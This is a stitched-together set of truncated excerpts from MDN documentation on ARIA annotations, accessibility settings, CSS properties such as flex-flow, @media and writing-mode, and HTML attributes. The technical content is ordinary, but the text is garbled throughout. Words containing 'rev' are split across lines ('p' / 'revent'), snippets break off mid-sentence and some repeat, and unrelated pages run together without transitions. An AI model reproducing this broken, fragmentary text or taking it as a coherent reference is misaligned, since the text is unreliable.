wai-aria version 1.3 sees the addition of a set of new features, collectively known as aria annotations, which allow the creation of accessible annotations inside web documents. typical use cases include edit suggestions (i.e. an addition and/or deletion in an editable document), and comments (e.g. an editorial comment related to a part of a document under
review). below we'll introduce the new features associated with aria annotations, and have a look at some code examples that show them in action. note: you can find all the examples discussed in this article in a demo file at aria-annotations. aria annotations features the aria attributes providing these new abilities are as follows: aria-description="" — provides a detailed description of an html element, as opposed to t...
... reference purposes. this is semantically equivalent to the html <mark> element. role="suggestion" — semantically denotes a single proposed change to an editable document. this should be used on an element that wraps a single insertion and deletion (see role="insertion" and role="deletion" above). role="comment" — semantically denotes a comment/reaction to some content on the page, or to a p
revious comment. to provide a semantic association between the document content being annotated and the annotation, an aria-details attribute can be set on the annotated content that contains the id of the annotated element. aria-details has been updated so that it can support multiple ids — this makes sense, for example you can easily envisage having multiple comments relating to the same bit of...
...the semantics for this have long been available in html, via the <ins> and <del> elements: <p>freida’s pet is a <del>black cat called luna</del><ins>purple tyrannosaurus rex called tiny</ins>.</p> with the new additions, you now have new roles available to provide the...
Accessibility: What users can do to browse more safely - Accessibility
this article discusses making web content accessible for those with vestibular disorders, and those who support them, by taking advantage of personalization and accessibility settings built into the operating systems. taking advantage of personalization settings can help p
revent exposure to content leading to seizures and / or other physical reactions. personalization and accessibility settings from the article, "understanding success criterion 2.3.1: three flashes or below threshold" "flashing can be caused by the display, the computer rendering the image or by the content being rendered. the author has no control of the first two. they can be addressed by the design and speed of the display and computer" hardware and operating systems on many computers offer control that is not...
...s even added support to detect whether the user has requested a reduced motion experience. the user would access this through an accessibility interface, as seen below. css transition events are now supported. ...
... and/or removes distractions enables text-to-speech in certain browsers, enable fonts by choice enable page zoom turn off animated gifs in the browser browsers offer much power to their users; it's just a matter of knowing where to go. using firefox as an example, it explains that by changing the value the image.animation_mode from "normal" to "none", all animated images will be blocked. to
reverse it, you will have to change the value back to "normal" use browser extensions gif blocker for chrome, gif blocker is an extension available at the web store. gif scrubber gif scrubber is a chrome extension that allows you to control gifs like a video player. there is a github repository for it at https://github.com/0ui/gif-scrubber beeline reader beeline reader has a browser extensio...
Accessibility and Spacial Patterns - Accessibility
studied most closely. there's the potential for causing harm if there are more than five light-dark pairs of stripes in any orientation. they can be parallel, radial, curved or straight, and may be formed by rows of repeating elements. in 2005, arnold wilkins, john emmett, and graham harding evaluated the guidelines for characterizing patterned images that could precipitate seizures. ...
...ts. in 2005, arnold wilkins, john emmett, and graham harding evaluated the guidelines for characterizing patterned images that could precipitate seizures. they
revised the guidelines to their fundamental core, and came up with a surprisingly simple, but powerful test. which they published in the paper, characterizing the patterned images that precipitate seizures and optimizing guidelines to p
revent them the steps necessary to evaluate material reduce to the following: look at the screen are there more than five stripes? if so, do they last longer than 0.5 s? if so, does the brightness exceed the stated limit? if so, categorize the motion of the pattern are the guidelines contravened? if so, reduce brightness. text and padding wcag standards for contrast perception do not take...
... ...
-moz-image-rect - CSS: Cascading Style Sheets
:133px;top:136px;">bottom right</div> </div> this places the four segments of our image in a two-by-two box grid. these four segments are all contained within a larger <div> block whose primary purpose is to receive click events and dispatch them to our javascript code. the javascript code this code handles the click event when the container receives a mouse click. ...
...notice that before it begins doing so it saves a copy of the last box's style since it will be overwritten by the third element's style. by simply copying the values of the background-image property from one element to the next with each mouse click,...
...notice that before it begins doing so it saves a copy of the last box's style since it will be overwritten by the third element's style. by simply copying the values of the background-image property from one element to the next with each mouse click, we achieve the...
@media - CSS: Cascading Style Sheets
lex; } } } for a discussion of media query syntax, please see using media queries. description media types media types describe the general category of a device. except when using the not or only logical operators, the media type is optional and the all type will be implied. all suitable for all devices. print intended for paged material and documents viewed on a screen in print p
review mode. (please see paged media for information about formatting issues that are specific to these formats.) screen intended primarily for screens. speech intended for speech synthesizers. deprecated media types: css2.1 and media queries 3 defined several additional media types (tty, tv, projection, handheld, braille, embossed, and aural), but they were deprecated in media queries 4 and sh...
... the capabilities—and by extension, the features and design—of the device the user is working with, there is the potential that they could be abused to construct a "fingerprint" which identifies the device, or at least categorizes it to some degree of detail that may be undesirable to users. because of this potential, a browser may opt to fudge the returned values in some manner in order to p
revent them from being used to precisely identify a computer. a browser might also offer additional measures in this area; for example, if firefox's "resist fingerprinting" setting is enabled, many media queries report default values rather than values representing the actual device state. formal syntax @media <media-query-list> { <group-rule-body> }where <media-query-list> = <media-query>#where ...
... adds scripting, pointer, hover, update, overflow-block, and overflow-inline media features. deprecates all media types except for screen, print, speech, and all. makes the syntax more flexible by adding, among other things, the or keyword. css working group drafts github issues media queriesthe definition of '@media' in that specification. css level 2 (
revision 1)the definition of '@media' in that specification. initial definition. ...
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
ten top to bottom. this means that the main axis runs along the row horizontally, and our cross axis alignment moves the items up and down. if we change our flex-direction to column, align-items and align-self will align the items to the left and right. you can try this out in the example below, which has a flex container with flex-direction: column yet otherwise is exactly the same as the p
revious example. aligning content on the cross axis — the align-content property so far we have been aligning the items, or an individual item inside the area defined by the flex-container. if you have a wrapped multiple-line flex container then you might also want to use the align-content property to control the distribution of space between the rows. in the specification this is described as...
...e container. the live example below has the direction property set to rtl to force a right-to-left flow for our items. you can remove this, or change the values of justify-content to see how flexbox behaves when the start of the inline direction is on the right. alignment and flex-direction the start line will also change if you change the flex-direction property — for example using row-
reverse instead of row. in this next example i have items laid out with flex-direction: row-
reverse and justify-content: flex-end. in a left to right language the items all line up on the left. try changing flex-direction: row-
reverse to flex-direction: row. you will see that the items now move to the right hand side. while this may all seem a little confusing, the rule to remember is that unles...
...id out in the language of your document along the inline, row axis. flex-start will be where the start of a sentence of text would begin. you can switch them to display in the block direction for the language of your document by selecting flex-direction: column. then flex-start will then be where the top of your first paragraph of text would start. if you change flex-direction to one of the
reverse values, then they will lay themselves out from the end axis and in the
reverse order to the way words are written in the language of your document. flex-start will then change to the end of that axis — so to the location where your lines would wrap if working in rows, or at the end of your last paragraph of text in the block direction. using auto margins for main axis alignment we don...
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
t will stretch to fill the entire line. we can see the same thing happening with columns. the container will need to have a height in order that the items will start wrapping and creating new columns, and items will stretch taller to fill each column completely. wrapping and flex-direction wrapping works as you might expect when combined with flex-direction. ...
...e container will need to have a height in order that the items will start wrapping and creating new columns, and items will stretch taller to fill each column completely. wrapping and flex-direction wrapping works as you might expect when combined with flex-direction. if flex-direction is set to row-
reverse then the items will start from the end edge of the container and lay themselves out in
reverse ordered lines. note that the
reversing is only happening in the inline, row direction. ...
......
OpenType font features guide - CSS: Cascading Style Sheets
pplied more generally in this case, @stylistic(alternates) will show all the alternate characters for either font). applying this to just the word 'my' alters the way the 'm' renders, and applying @styleset(alt-a) only changes the lower case 'a'. try changing the line font-variant-alternates: styleset(alt-a); to font-variant-alternates: styleset(alt-g); and notice that the lower case 'a'
reverts to its regular form and the lower case 'g' changes instead. more about alternates https://www.w3.org/tr/css-fonts-4/#propdef-font-variant-alternates /docs/web/css/font-variant-alternates ligatures (font-variant-ligatures) ligatures are glyphs that replace two or more separate glyphs in order to represent them more smoothly (from a spacing or aesthetic perspective). some of the most co...
...hs. these are designed to work with the surrounding text without altering the baseline or line spacing. this is one of the key benefits over using the <sub> or sup elements. capitals (font-variant-caps) one of the more common use cases for opentype features is proper small caps. these are capital letters sized to fit better amongst lower case letters and are generally used for acronyms and abb
reviations. numerals (font-variant-numeric) there are several different styles of numerals commonly included in fonts: 'lining' figures are all the same height and on the same baseline. 'oldstyle' figures are mixed height and designed to have the appearance of ascenders and descenders like other lower case letters. these are designed to be used inline with copy so the numerals visually blend ...
... that allows explicit access to every named available opentype feature. this gives a lot of control, but has some disadvantages in how it impacts inheritance and — as mentioned above — if you wish to change one setting, you have to redeclare the entire string (unless you're using css custom properties to set the values). because of this, it's best to use the standard properties shown above whe
rever possible. there a huge number of possible features. you can see examples of a number of them above, and there are several resources available for finding more of them. the general syntax looks like this: .small-caps { font-feature-settings: "smcp", "c2sc"; } according to the specification you can either supply just the 4-character feature code or supply a 1 following the code (for enabli...
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
to the html element, which switches the writing mode from the default for an english language document of ltr. you can see that the first paragraph remains left to right, due to the text-align value being left . the second however, switches direction and the text runs from right to left . this is a very simple example of the problem with physical values and properties being used in css. they p
revent the browser being able to do the work to switch writing mode, as they make the assumption that the text is flowing left to right and top to bottom. logical properties and values logical properties and values do not make an assumption about text direction. which is why in grid layout we use the keyword start when aligning something to the start of the container. for me, working in english, st...
...ainer. for me, working in english, start may well be on the left, however it doesn’t have to be, and the word start infers no physical location. block and inline once we begin dealing with logical, rather than physical properties, we stop seeing the world as left to right, and top to bottom. we need a new reference point, and this is where understanding the block and inline axes, that we met p
reviously in the guide to alignment, becomes very useful. if you can start to see layout in terms of block and inline, the way things work in grid start to make a lot more sense. css writing modes i’m going to introduce another specification here, that i will be using in my examples: the css writing modes specification. this spec details how we can use these different writing modes in css, not ...
...eople first encounter this, they are often surprised that the values do not follow the same order as the shorthand for margin – which runs clockwise: top, right, bottom, left. the order of grid-area values is: grid-row-start grid-column-start grid-row-end grid-column-end which for english, in left-to-right means the order is: top left bottom right this is anti-clockwise! so the
reverse of what we do for margins and padding. once you realize that grid-area sees the world as "block and inline", you can remember that we are setting the two starts, then the two ends. it becomes much more logical once you know! mixed writing modes and grid layout in addition to displaying documents, using the correct writing mode for the language, writing modes can be used creatively within do...
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
inheritance of custom properties custom properties do inherit. this means that if no value is set for a custom property on a given element, the value of its parent is used. take this html: <div class="one"> <div class="two"> <div c...
...y color is inheritable. yes, but <p> doesn't have any parent with color property. so move on to the next step. set the value to its default initial value, i.e., black. result the paragraph color will not be blue because invalid substitution is replaced by the initial value, not by the fallback. if you had written color: 16px without any variable substitutes, then it was a syntax error. the p
revious declaration will then be used. note: while a syntax error in a css property / value pair will lead to the line being ignored, using a cascaded value, invalid substitution -- using a custom property value that is invalid -- is not ignored, leading to the value to be inherited. values in javascript to use the values of custom properties in javascript, it is just like standard properties. ...
...ad to the line being ignored, using a cascaded value, invalid substitution -- using a custom property value that is invalid -- is not ignored, leading to the value to be inherited. values in javascript to use the values of custom properties in javascript, it is just like standard properties. // get variable from inline style element.style.getpropertyvalue("--my-var"); // get variable from whe
rever getcomputedstyle(element).getpropertyvalue("--my-var"); // set variable on inline style element.style.setproperty("--my-var", jsvar + 4); ...
box-direction - CSS: Cascading Style Sheets
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard. the -moz-box-direction will only be used for xul while the p
revious standard box-direction has been replaced by flex-direction. see flexbox for information about the current standard. the box-direction css property specifies whether a box lays out its contents normally (from the top or left edge), or in
reverse (from the bottom or right edge). /* keyword values */ box-direction: normal; box-direction:
reverse; /* global values */ box-direction: inherit; box-direction: initial; box-direction: unset; syntax the box-direction property is specified as one of the keyword values listed below. values normal the box lays out its contents from the start (the left or top e...
... notes the edge of the box designated the start for layout purposes depends on the box's orientation: horizontal left vertical top the edge opposite to the start is designated the end. if the direction is set using the element's dir attribute, then the style is ignored. ...
...entation: horizontal left vertical top the edge opposite to the start is designated the end. if the direction is set using the element's dir attribute, then the style is ignored. formal definition initial valuenormalapplies toelements with a css display value of box or inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal |
reverse | inherit examples setting box direction .example { /* bottom-to-top layout */ -moz-box-direction:
reverse; /* mozilla */ -webkit-box-direction:
reverse; /* webkit */ box-direction:
reverse; /* as specified */ } specifications not part of any standard. browser compatibility the compatibility table on this page is generated from structured data. if you'd like t...
<custom-ident> - CSS: Cascading Style Sheets
syntax the syntax of <custom-ident> is similar to css identifiers (such as property names), except that it is case-sensitive. ...
...s as they are case-sensitive. on the other hand, as there are several ways to escape a character, toto\? and toto\3f are the same identifiers. forbidden values a <custom-ident> must not be placed between single or double quotes as this would be identical to a <string>. moreover, the first character must not be a decimal digit, nor a hyphen (-) followed by a decimal digit or another hyphen. to p
revent ambiguity, each property that uses <custom-ident> forbids the use of specific values: animation-name forbids the global css values (unset, initial, and inherit), as well as none. counter-reset counter-increment forbids the global css values (unset, initial, and inherit), as well as none. @counter-style list-style-type forbids the global css values (unset, initial, and inherit), as we...
...ition of '<custom-ident> for animation-name' in that specification. working draft defines which values are excluded for animation-name. css values and units module level 3the definition of '<custom-ident>' in that specification. candidate recommendation renames <identifier> to <custom-ident>. makes it a pseudo-type and forbids the use of excluded values. css level 2 (
revision 1)the definition of '<identifier>' in that specification. recommendation initial definition. ...
flex-flow - CSS: Cascading Style Sheets
s interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...pository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constituent properties this property is a shorthand for the following css properties: flex-direction flex-wrap syntax /* flex-flow: <'flex-direction'> */ flex-flow: row; flex-flow: row-
reverse; flex-flow: column; flex-flow: column-
reverse; /* flex-flow: <'flex-wrap'> */ flex-flow: nowrap; flex-flow: wrap; flex-flow: wrap-
reverse; /* flex-flow: <'flex-direction'> and <'flex-wrap'> */ flex-flow: row nowrap; flex-flow: column wrap; flex-flow: column-
reverse wrap-
reverse; /* global values */ flex-flow: inherit; flex-flow: initial; flex-flow: unset; values see flex-direction and flex-wrap for details on the values. formal de...
...on and flex-wrap for details on the values. formal definition initial valueas each of the properties of the shorthand:flex-direction: rowflex-wrap: nowrapapplies toflex containersinheritednocomputed valueas each of the properties of the shorthand:flex-direction: as specifiedflex-wrap: as specifiedanimation typediscrete formal syntax <'flex-direction'> | <'flex-wrap'> examples setting column-
reverse and wrap element { /* main-axis is the block direction with
reversed main-start and main-end. flex items are laid out in multiple lines */ flex-flow: column-
reverse wrap; } specifications specification status comment css flexible box layout modulethe definition of 'flex-flow' in that specification. candidate recommendation initial definition ...
ime-mode - CSS: Cascading Style Sheets
; the ime-mode property is only partially and inconsistently implemented in browsers. it was introduced by microsoft with internet explorer 5 as a proprietary extension: -ms-ime-mode attribute | imemode property. note: in general, it's not appropriate for a public web site to change the ime mode. this property should only be used for private web applications or to undo the property if it was p
reviously set by legacy code. syntax the ime-mode property is specified using one of the keyword values listed below. values auto no change is made to the current input method editor state. this is the default. normal the ime state should be normal; this value can be used in a user style sheet to override the page's setting. this value is not supported by internet explorer. active the inp...
...his property on <input type="password">. however, this makes for a bad user experience, and password fields should not enable the ime. users may correct the inappropriate behavior of sites that don't follow this recommendation by placing the following css into their user stylesheet: input[type=password] { ime-mode: auto !important; } the mac version of gecko 1.9 (firefox 3) can't recover the p
revious state of the ime when a field for which it is disabled loses focus, so mac users may get grumpy when you use the disabled value. formal definition initial valueautoapplies totext fieldsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | normal | active | inactive | disabled examples disabling input method support this example disables input method support f...
... | normal | active | inactive | disabled examples disabling input method support this example disables input method support for a form field. in the past, this was commonly used on fields that entered data into databases which didn't support extended character sets. <input type="text" name="name" value="initial value" style="ime-mode: disabled"> note: you shouldn't rely on disabling ime to p
revent extended characters from passing through your form. even with ime disabled, users can still paste extended characters into your form's fields. specifications specification status comment css basic user interface module level 3the definition of 'ime-mode' in that specification. recommendation initial definition. makes ime-mode officially obsolete. ...
Inheritance - CSS: Cascading Style Sheets
. the words "emphasized text" will not have a border (since the initial value of border-style is none). notes the inherit keyword allows authors to explicitly specify inheritance. it works on both inherited and non-inherited properties. you can control inheritance for all properties at once using the all shorthand property, which applies its value to all properties. ...
...nce the initial value of border-style is none). notes the inherit keyword allows authors to explicitly specify inheritance. it works on both inherited and non-inherited properties. you can control inheritance for all properties at once using the all shorthand property, which applies its value to all properties. ...
...s its value to all properties. for example: font { all:
revert; font-size: 200%; font-weight: bold; } this
reverts the style of the font property to the user agent's default unless a user stylesheet exists, in which case that is used instead. then it doubles the font size and applies a font-weight of "bold". see also css values for controlling inheritance: inherit, initial, unset, and
revert introducing the css cascade cascade and inheritance css key concepts: css syntax, at-rule, comments, specificity and inheritance, the box, layout modes and visual formatting models, and margin collapsing, or the initial, computed, resolved, specified, used, and actual values. definitions of value syntax, shorthand properties and replaced elements. ...
offset-rotate - CSS: Cascading Style Sheets
otate css property defines the orientation/direction of the element as it is positioned along the offset-path. note: early versions of the spec called this property motion-rotation. syntax /* follow the path direction, with optional additional angle */ offset-rotate: auto; offset-rotate: auto 45deg; /* follow the path direction but facing the opposite direction of `auto` */ offset-rotate:
reverse; /* keep a constant rotation regardless the position on the path */ offset-rotate: 90deg; offset-rotate: .5turn; auto the element is rotated by the angle of the direction of the offset-path, relative to the positive x-axis. this is the default value. <angle> the element has a constant clockwise rotation transformation applied to it by the specified rotation angle. auto <angle>...
...urn; auto the element is rotated by the angle of the direction of the offset-path, relative to the positive x-axis. this is the default value. <angle> the element has a constant clockwise rotation transformation applied to it by the specified rotation angle. auto <angle> if auto is followed by an <angle>, the computed value of the angle is added to the computed value of auto. ...
...mputed value of the angle is added to the computed value of auto.
reverse the element is rotated similar to auto, except it faces the opposite direction. it is the same as specifying a value of auto 180deg. ...
overscroll-behavior - CSS: Cascading Style Sheets
the default scroll overflow behavior occurs as normal. contain default scroll overflow behavior is observed inside the element this value is set on (e.g. "bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g. underlying elements will not scroll. ...
...s, e.g. underlying elements will not scroll. none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is p
revented. formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ contain | none | auto ]{1,2} examples p
reventing an underlying element from scrolling in our overscroll-behavior example (see the source code also), we present a full-page list of fake contacts, and a dialog box containing a chat window. both of these areas scroll; normally if you scrolled the chat window until you hit a scroll boundary, the underlying contacts window would start to scroll too, which is not desirable. this can be sto...
...stopped using overscroll-behavior-y (overscroll-behavior would also work) on the chat window, like this: .messages { height: 220px; overflow: auto; overscroll-behavior-y: contain; } we also wanted to get rid of the standard overscroll effects when the contacts are scrolled to the top or bottom (e.g. chrome on android refreshes the page when you scroll past the top boundary). this can be p
revented by setting overscroll-behavior: none on the <body> element: body { margin: 0; overscroll-behavior: none; } specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior' in that specification. working draft ...
right - CSS: Cascading Style Sheets
t edge of its containing block. when position is set to relative, the right property specifies the distance the element's right edge is moved to the left from its normal position. when position is set to sticky, the right property is used to compute the sticky-constraint rectangle. when position is set to static, the right property has no effect. when both left and right are defined, if not p
revented from doing so by other properties, the element will stretch to satisfy both. if the element cannot stretch to satisfy both -- for example, if a width is declared -- the position of the element is over-constrained. when this is the case, the left value has precedence when the container is left-to-right; the right value has precedence when the container is right-to-left. formal definition in...
...if the element will not stretch or shrink to meet meet both. when the position of the element is overspecified, the precende is based on the container's direction: the left will take precendence if the container's direction is left-to-right. the right will take precedence if the container's direction is right-to-left. html <div id="parent">parent <div id="nowidth">no wi...
...#nowidth { background-color: #c2ffd7; position: absolute; left: 0; right: 0; } /* declare a width */ #width { width: 100px; top: 60px; } result specifications specification status comment css positioned layout module level 3the definition of 'right' in that specification. working draft adds behavior for sticky positioning. css level 2 (
revision 1)the definition of 'right' in that specification. recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webv...
text-transform - CSS: Cascading Style Sheets
by precisely defining the correct behavior, css text level 3 cleans this mess up. the capitalize line in the browser compatibility table contains the version the different engines started to support this now precisely-defined behavior. uppercase is a keyword that converts all characters to uppercase. lowercase is a keyword that converts all characters to lowercase. none is a keyword that p
revents the case of all characters from being changed. full-width is a keyword that forces the writing of a character — mainly ideograms and latin scripts — inside a square, allowing them to be aligned in the usual east asian scripts (like chinese or japanese). full-size-kana generally used for <ruby> annotation text, the keyword converts all small kana characters to the equivalent full-size ...
......
...at specification. working draft from css level 2 (
revision 1)the definition of 'text-transform' in that specification., extends letters to any unicode character in the number or letter general category. modifies the behavior of capitalize to apply to the first letter of the word, ignoring initial punctuations or symbols. adds the full-width and full-size-kana keywords. css level 2 (
revision 1)the definition of 'text-transform' in that specification. recommendation from css level 1the definition of 'text-transform' in that specification., extends letters to non-latin bi-cameral scripts css level 1the definition of 'text-transform' in that specification. recommendation initial definition ...
touch-action - CSS: Cascading Style Sheets
browser. an application using pointer events will receive a pointercancel event when the browser starts handling a touch gesture. by explicitly specifying which gestures should be handled by the browser, an application can supply its own behavior in pointermove and pointerup listeners for the remaining gestures. applications using touch events disable the browser handling of gestures by calling p
reventdefault(), but should also use touch-action to ensure the browser knows the intent of the application before any event listeners have been invoked. when a gesture is started, the browser intersects the touch-action values of the touched element and its ancestors, up to the one that implements the gesture (in other words, the first containing scrolling element). this means that in practice, tou...
...g double-tap to zoom removes the need for browsers to delay the generation of click events when the user taps the screen. this is an alias for "pan-x pan-y pinch-zoom" (which, for compatibility, is itself still valid). pan-left, pan-right, pan-up, pan-down enable single-finger gestures that begin by scrolling in the given direction(s). once scrolling has started, the direction may still be
reversed. note that scrolling "up" (pan-up) means that the user is dragging their finger downward on the screen surface, and likewise pan-left means the user is dragging their finger to the right. multiple directions may be combined except when there is a simpler representation (for example, "pan-left pan-right" is invalid since "pan-x" is simpler, but "pan-left pan-down" is valid). pinch-zoom enab...
... except when there is a simpler representation (for example, "pan-left pan-right" is invalid since "pan-x" is simpler, but "pan-left pan-down" is valid). pinch-zoom enable multi-finger panning and zooming of the page. this may be combined with any of the pan- values. accessibility concerns a declaration of touch-action: none; may inhibit operating a browser's zooming capabilities. this will p
revent people experiencing low vision conditions from being able to read and understand page content. mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | understanding wcag 2.0 formal definition initial valueautoapplies toall elements except: non-replaced inline elements, table rows, row groups, table columns, and column groupsinheritednocomputed valueas ...
writing-mode - CSS: Cascading Style Sheets
ction in horizontal scripts is also affected by the directionality of that script, either left-to-right (ltr, like english and most other languages) or right-to-left (rtl, like hebrew or arabic). values horizontal-tb for ltr scripts, content flows horizontally from left to right. for rtl scripts, content flows horizontally from right to left. the next horizontal line is positioned below the p
revious line. vertical-rl for ltr scripts, content flows vertically from top to bottom, and the next vertical line is positioned to the left of the p
revious line. for rtl scripts, content flows vertically from bottom to top, and the next vertical line is positioned to the right of the p
revious line. vertical-lr for ltr scripts, content flows vertically from top to bottom, and the next vertical li...
... sideways-rl for ltr scripts, content flows vertically from bottom to top. for rtl scripts, content flows vertically from top to bottom. ...
... sideways-rl for ltr scripts, content flows vertically from bottom to top. for rtl scripts, content flows vertically from top to bottom. all the glyphs, even those in vertical scripts, are set sideways toward the right. ...
Introduction to HTML5 - Developer guides
some html5 features remain unsupported by some browsers. however, gecko, and by extension, firefox, has very good support for html5, and work continues toward supporting more of its features. gecko began supporting some html5 features in version 1.8.1. you can find a list of all of the html5 features that gecko currently supports on the main html5 page. for detailed information about multiple browsers' support of html5 features, refer to the caniuse website. ...
...blished parts of html in an html5-compliant way while ignoring the new features of html5 they don't support. this is much simpler than the former doctypes, and shorter, making it easier to remember and reducing the amount of bytes that must be downloaded. declaring the character set with the <meta charset> the first thing done on a page is usually indicating the character set that is used. in p
revious versions of html, it was done using a very complex <meta> element. now, it is very simple: <meta charset="utf-8"> place this right after your <head>, as some browsers restart the parsing of an html document if the declared character set is different from what they had anticipated. also, if you are not currently using utf-8, it's recommended that you switch to it in your web pages, as it sim...
... document if the declared character set is different from what they had anticipated. also, if you are not currently using utf-8, it's recommended that you switch to it in your web pages, as it simplifies character handling in documents using different scripts. note that html5 restricts character sets to those compatible with ascii and using at least 8 bits. this was done to tighten security and p
revent some types of attacks. using the new html5 parser the parsing rules of html5, which analyze the meaning of mark-up, have been more precisely defined in html5. until the introduction of html5, only the meaning of valid mark-up was defined, meaning that as soon as one small error was made in the mark-up (most websites have at least one), the behavior was undefined. essentially, it meant that a...
The HTML autocomplete attribute - HTML: Hypertext Markup Language
form> element the form to have a submit button values "off" the browser is not permitted to automatically enter or select a value for this field. it is possible that the document or application provides its own autocomplete feature, or that security concerns require that the field's value not be automatically entered. note: in most modern browsers, setting autocomplete to "off" will not p
revent a password manager from asking the user if they would like to save username and password information, or from automatically filling in those values in a site's login form. see the autocomplete attribute and login fields. "on" the browser is allowed to automatically complete the input. no guidance is provided as to the type of data expected in the field, so the browser may use its own judge...
...sword" a new password. when creating a new account or changing passwords, this should be used for an "enter your new password" or "confirm new password" field, as opposed to a general "enter your current password" field that might be present. this may be used by the browser both to avoid accidentally filling in an existing password and to offer assistance in creating a secure password (see also p
reventing autofilling with autocomplete="new-password"). "current-password" the user's current password. "one-time-code" a one-time code used for verifying user identity. "organization-title" a job title, or the title a person has within an organization, such as "senior technical writer", "president", or "assistant troop leader". "organization" a company or organization name, such as "acme wi...
...just the postcode and address-line1 to sucessfully deliver mail in the uk, so they should be the only mandatory items, but usually people tend to provide more details. china china can use as many as three administrative levels: the province, the city, and the district. japan an address in japan is typically written in one line, in an order from the least-specific to more-specific portions (in
reverse order to the united states). there are two or three administrative levels in an address. additional line can be used to show building names and room numbers. the postal code is separate. for example: 〒381-0000 長野県長野市某町123 "〒" and following seven digits shows the postal code. address-level1 is used for prefectures or the tokyo metropolis; "長野県" (nagano prefecture)...
HTML attribute: rel - HTML: Hypertext Markup Language
potential destination given by the as attribute (and the priority associated with the corresponding destination). external resource not allowed not allowed prerender specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future. external resource not allowed not allowed p
rev indicates that the current document is a part of a series, and that the p
revious document in the series is the referenced document. link link link search gives a link to a resource that can be used to search through the current document and its related pages. link link link stylesheet imports a style sheet. external resource not allowed not al...
...e author of the current document or article. relevant for <link>, <a>, and <area> elements, the author keyword creates a hyperlink. with <a> and <area>, it indicates the linked document (or mailto:) provides information about the author of the nearest <article> ancestor if there is one, otherwise the entire document. for <link>, it represents the author of the entire document. note: the obsolete
rev="made" is treated as rel="alternate" bookmark relevant as the rel attribute value for the <a> and <area> elements, the bookmark provides a permalink for ancestor section, which is the nearest ancestor <article> or <section>, if there is at least one, otherwise, the nearest heading sibling or ancestor descendant, to the next.. canonical valid for <link>, it defines the preferred url for the ...
...ifies that the user agent must preemptively fetch and cache the target resource for current navigation according to the potential destination given by the as attribute (and the priority associated with the corresponding destination). prerender specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future. p
rev similar to the next keyword, relevant to <form>, <link>, <a>, and <area>, the p
rev values indicates that the current document is a part of a series, and that the link references a p
revious document in the series is the referenced document. note: the synonym p
revious is incorrect and should not be used. search relevant to <form>, <link>, <a>, and <area> elements, the search keywords ind...
HTML attribute reference - HTML: Hypertext Markup Language
lies to this element. height <canvas>, <embed>, <iframe>, <img>, <input>, <object>, <video> specifies the height of elements listed here. for all other elements, use the css height property. note: in some instances, such as <div>, this is a legacy attribute, in which case the css height property should be used instead. hidden global attribute p
revents rendering of given element, while keeping child elements, e.g. script elements, active. high <meter> indicates the lower bound of the upper range. href <a>, <area>, <base>, <link> the url of a linked resource. hreflang <a>, <area>, <link> specifies the language of the linked resource. http-equiv <meta> defines a pragma directive. ...
...r the element can be edited. referrerpolicy <a>, <area>, <iframe>, <img>, <link>, <script> specifies which referrer is sent when fetching the resource. rel <a>, <area>, <link> specifies the relationship of the target object to the link object. required <input>, <select>, <textarea> indicates whether this element is required to fill out or not.
reversed <ol> indicates whether the list should be displayed in a descending order instead of a ascending. rows <textarea> defines the number of rows in a text area. rowspan <td>, <th> defines the number of rows a table cell should span over. sandbox <iframe> stops a document loaded in an iframe from using certain features (such as submitting forms o...
...<script>, <source>, <track>, <video> the url of the embeddable content. srcdoc <iframe> srclang <track> srcset <img>, <source> one or more responsive image candidates. start <ol> defines the first number if other than 1. step <input> style global attribute defines css styles which will override styles p
reviously set. summary <table> tabindex global attribute overrides the browser's default tab order and follows the one specified instead. target <a>, <area>, <base>, <form> specifies where to open the linked document (in the case of an <a> element) or where to display the response recieved (in the case of a <form> element) title global attribu...
Date and time formats used in HTML - HTML: Hypertext Markup Language
1901-01-01t00:00:01-04:00 1 second past midnight eastern standard time (est) on january 1, 1901 [details] basics before looking at the various formats of date and time related strings used by html elements, it is helpful to understand a few fundamental facts about the way they're defined. html uses a variation of the iso 8601 standard for its date and time strings. it's worth
reviewing the descriptions of the formats you're using in order to ensure that your strings are in fact compatible with html, as the html specification includes algorithms for parsing these strings that is actually more precise than iso 8601, so there can be subtle differences in how date and time strings are expected to look. character set dates and times in html are always strings which use the a...
...cular year. a valid week string consists of a valid year number, followed by a hyphen character ("-", or u+002d), then the capital letter "w" (u+0057), followed by a two-digit week of the year value. the week of the year is a two-digit string between 01 and 53. each week begins on monday and ends on sunday. that means it's possible for the first few days of january to be considered part of the p
revious week-year, and for the last few days of december to be considered part of the following week-year. the first week of the year is the week that conains the first thursday of the year. for example, the first thursday of 1953 was on january 1, so that week—beginning on monday, december 29—is considered the first week of the year. therefore, december 30, 1952 occurs during the week 1953-w01. ...
...the space has been replaced with the "t" character and the trailing zero in the fraction of a second has been removed to make the string as short as possible. note that the normalized form of this date drops the ":00" indicating the number of seconds to be zero, because the seconds are optional when zero, and the normalized string minimizes the length of the string. ...
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
her words, it sends the origin: http header with a cookie, a certificate, or performing http basic authentication. if the server does not give credentials to the origin site (through access-control-allow-credentials: http header), the image will be tainted and its usage restricted. when not present, the resource is fetched without a cors request (i.e. ...
...otherwise, setting currenttime sets the current playback position to the given time and seeks the media to that position if the media is currently loaded. ...
